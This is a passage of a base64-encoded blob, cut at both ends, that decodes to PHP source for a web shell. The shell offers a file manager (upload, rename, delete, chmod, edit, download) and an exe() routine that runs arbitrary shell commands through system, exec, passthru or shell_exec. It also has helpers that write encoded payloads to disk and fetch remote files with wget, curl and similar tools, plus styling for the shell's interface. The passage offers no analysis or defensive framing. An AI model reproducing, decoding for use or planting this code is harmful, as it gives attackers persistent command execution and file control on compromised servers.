VwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIj5VcGxvYWQ8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2ZkZWxldGU9Ii4kcHdkLiRmb2xkZXIuIlwiPkRlbGV0ZTwvYT48L3NwYW4+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTRcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIG5hbWU9XCJwYXRoXCIgdHlwZT1cInRleHRcIiBzaXplPVwiMzNcIiB2YWx1ZT1cIiIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiIC8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwidXBsb2FkY29tcHRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJVcGxvYWRcIi8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiAKICAgICAgICAgICAgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7CiAgICAgICAgJGZ1bGwgPSAkcHdkLiRmaWxlOwogICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICB9ICAgICAgIAogICAgICAgICRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nIC8+ICAgJGZpbGU8L2I+PC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4KICAgICAgICA8L2Zvcm0+PC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD48Y2VudGVyPgogICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDaG1vZFwiIHZhbHVlPVwiQ2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIiAvPjwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+RGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPkRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+R3o8L2E+KTwvdGQ+PC90cj4iOwogICAgfQogICAgJGJ1ZmYgLj0gIjwvdGFibGU+IjsKICAgIHJldHVybiAkYnVmZjsKfQoKZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsKICAgIGlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7CiAgICAgICAgaWYoJHNpemUgPD0gMTAyNCkgcmV0dXJuICRzaXplOwogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCRzaXplIDw9IDEwMjQqMTAyNCkgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0LDIpOzsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KfQoKZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpewogICAgJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkKICAgICB7CiAgICAgICAgIEBmcHV0cygkZmlsZXosJHRleHR6KTsKICAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICAgfQp9CgpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyAKICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpewogICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAKICAgICAgICAgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyAKICAgICAgICB9IAogICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IAogICAgICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgICAgICBAZmNsb3NlKCRmcDIpOyAKICAgfQp9CgpmdW5jdGlvbiB3aGljaCgkcHIpewogICAgJHBhdGggPSBleGUoIndoaWNoICRwciIpOwogICAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gdHJpbSgkcGF0aCk7IH0gZWxzZSB7IHJldHVybiB0cmltKCRwcik7IH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXsKICAgICRuYW1hZmlsZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgc3dpdGNoKCRjbWQpIHsKICAgICAgICBjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgZGVmYXVsdDogYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG5hbWFmaWxlOwp9CgpmdW5jdGlvbiBnZXRfcGVybXMoJGZpbGUpCnsKICAgIGlmKCRtb2RlPUBmaWxlcGVybXMoJGZpbGUpKXsKICAgICAgICAkcGVybXM9Jyc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CiAgICAgICAgcmV0dXJuICRwZXJtczsKICAgIH0KICAgIGVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/IjsKfQoKZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJfIiwkdGV4dCk7Cn0KCgo/Pgo8aHRtbD48aGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj48dGl0bGU+PD89JHRpdGxlID8+IDw/PSR2ZXJzaSA/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gdHVrYXIobGFtYSxiYXJ1KXsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKfQo8L3NjcmlwdD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA0OC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuO2JhY2tncm91bmQ6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoIjw/PSRiYWNrZ3JvdW5kOyA/PiIpO2JhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsgICAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyB9IAphIHt0ZXh0LWRlY29yYXRpb246bm9uZTsKfQphOmhvdmVyewpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMDBmZjAwOyAKfQoqewogICAgZm9udC1zaXplOjExcHg7CiAgICBmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDsKICAgIGNvbG9yOjw/PSRjb2xvcjsgPz47Cn0KI21lbnV7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyYW47CiAgICBtYXJnaW46OHB4IDJweCA0cHggMnB4Owp9CgojbWVudSBhewogICAgcGFkZGluZzo0cHggMThweDsKICAgIG1hcmdpbjowOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7CiAgICBsZXR0ZXItc3BhY2luZzoycHg7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93LXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1cHg7IC1raHRtbC1ib3JkZXItcmFkaXVzOiA1cHg7IGJvcmRlci1yYWRpdXM6IDVweDsKfQojbWVudSBhOmhvdmVyewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKICAgIGJvcmRlci10b3A6MXB4IHNvbGlkICMzMzMzMzM7Cn0KCi50YWJuZXR7CiAgICBtYXJnaW46MTVweCBhdXRvIDAgYXV0bzsKICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7CiAgICBjb2xvcjogI0ZGQ0MwMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDt9IAoubXN1cGlhbml7IGZvbnQtZmFtaWx5OlZpdmFsZGk7Zm9udC1zaXplOjUwcHg7Y29sb3I6ICMwMEZGMDA7fQoudGFibmV0ewogICAgbWFyZ2luOjE1cHggYXV0byAwIGF1dG87CiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5tYWluIHsKICAgIHdpZHRoOjEwMCU7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmdheWEgewogICAgY29sb3I6ICRjb2xvcjsKfQouaW5wdXR6ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgYm9yZGVyOjA7CiAgICBwYWRkaW5nOjJweDsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjIyMjI7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouaW5wdXR6YnV0ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgY29sb3I6PD89JGNvbG9yOyA/PjsKICAgIG1hcmdpbjowIDRweDsKICAgIGJvcmRlcjoxcHggc29saWQgIzQ0NDQ0NDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKCn0KLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMDBmZjAwOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5vdXRwdXQgewogICAgbWFyZ2luOmF1dG87CiAgICBib3JkZXI6MXB4IHNvbGlkIDw/PSRjb2xvcjsgPz47CiAgICB3aWR0aDoxMDAlOwogICAgaGVpZ2h0OjQwMHB4OwogICAgYmFja2dyb3VuZDojMDAwMDAwOwogICAgcGFkZGluZzowIDJweDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouY21kYm94ewogICAgd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouaGVhZF9pbmZveyAKICAgIHBhZGRpbmc6IDAgNHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouZXhwbG9kZWR7CiAgICBmb250LXNpemU6MzBweDsKICAgIHBhZGRpbmc6MDsKICAgIGNvbG9yOiM0NDQ0NDQ7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvZGVkX3RibHsKICAgIHRleHQtYWxpZ246Y2VudGVyOwogICAgbWFyZ2luOjAgNHB4IDAgMDsKICAgIHBhZGRpbmc6MCA0cHggMCAwOwogICAgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOwp9Ci5waHBpbmZvIHRhYmxlewogICAgd2lkdGg6MTAwJTsKICAgIHBhZGRpbmc6MCAwIDAgMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoucGhwaW5mbyB0ZHsKICAgIGJhY2tncm91bmQ6IzExMTExMTsKICAgIGNvbG9yOiNjY2NjY2M7CnBhZGRpbmc6NnB4IDhweDs7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLnBocGluZm8gdGgsIHRoewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5waHBpbmZvIGgyLCAucGhwaW5mbyBoMiBhewogICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgICBmb250LXNpemU6MTZweDsKICAgIHBhZGRpbmc6MDsKICAgIG1hcmdpbjozMHB4IDAgMCAwOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgcGFkZGluZzo0cHggMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZXsKd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZSBhIHsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cn0KLmV4cGxvcmUgdGR7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7CnBhZGRpbmc6MCA4cHg7CmxpbmUtaGVpZ2h0OjI0cHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm